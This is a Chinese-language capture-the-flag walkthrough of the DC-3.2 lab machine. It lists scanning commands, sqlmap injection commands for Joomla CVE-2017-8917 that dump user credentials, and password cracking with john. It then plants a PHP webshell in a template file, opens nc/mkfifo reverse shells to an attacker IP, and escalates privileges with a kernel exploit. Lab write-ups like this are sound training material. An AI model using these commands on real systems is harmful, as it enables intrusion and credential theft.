DC-3.2靶机详解
DC-3.2
信息搜集
IP 探测
arp-scan -l
nmap -sn 192.168.179.0/24
netdiscover -r 192.168.179.0/24
目标及 ip 就为 192.168.179.134
。
端口探测
nmap -sT --min-rate 10000 -p- 192.168.179.134
就开放了一个 80 端口
再来个详细端口扫描和漏洞脚本扫描
nmap -sT -sV -O -p80 192.168.179.134
nmap --script=vuln -p80 192.168.179.134
这个详细端口扫描没有什么值得注意的。
漏洞脚本扫描中值得注意的是给了个 cve,待会可以仔细看看。剩余的就是一些 dos 和 csrf 了,dos 一般不考虑,还有就是枚举的路由。
网页信息搜集
访问 80 web 服务端口
有个登录框,进行弱口令爆破,发现不行。利用 wappalzyer
插件可以看到 cms 为 joomla
去看看刚刚的 CVE-2017-8917,是个 sql 注入漏洞,可以利用 sqlmap 一把梭了。
漏洞利用
查数据库
sqlmap -u "http://192.168.179.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --batch -p list[fullordering] --dbs
# --batch 启用批处理模式,执行时将不再要求用户进行任何交互,所有可能的提示都会使用默认选项进行处理
# -p 指定要进行注入测试的参数
查出了五个数据库,继续查 joomladb 的表
sqlmap -u "http://192.168.179.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --batch -p list[fullordering] -D joomladb --tables
直接看可疑的 #_users
表中的段名,
sqlmap -u "http://192.168.179.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --batch -p list[fullordering] -D joomladb -T #_users --columns
然后获取账号和密码
sqlmap -u "http://192.168.179.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" -C "username,password" --dump
密码是个 hash 密文,利用 john
进行爆破
得到密码,去进行登录一波,
没有什么东西,刚刚的枚举路径又后台路径,同样进行登录
登录后进行功能点测试。
getshell
发现一处文件修改点,把原本的 php 文件中加入一句话
但是访问路径发现没有该文件,发现网站用的是 beez3
模板,
搜索得到文件路径在路径为 /templates/beez3/
,访问 http://192.168.179.134/templates/beez3/jsstrings.php
直接蚁剑连接,用户为 www-data
,需要提权(不能使用蚁剑提权,因为HTTP是瞬时协议,这边正提权,那边TCP四次挥手断开连接了,不能持久连接,所以蚁剑的作用就在于上传文件来反弹shell。)
利用 nc 进行 shell 反弹
nc -e /bin/bash 192.168.179.130 2333
显示 nc 没有 -e 选项
换个其他的命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.16.100 2333>/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.179.130 2333>/tmp/f
反弹 shell 成功后,然后获取交互式 shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
提权
先查看系统内核
uname -a
然后查看发行版本
lsb_release -a
看到 ubuntu 版本为 16.04,查找相应漏洞
看到有对应的提权漏洞。查看漏洞细节
在靶机 shell 下载 exp 文件
然后就是照着运行里面的脚本就行了,最后获得 flag
总结
cms 漏洞查询,sql 注入
john 爆破密码后台登录
后台修改文件getshell
系统内核漏洞提权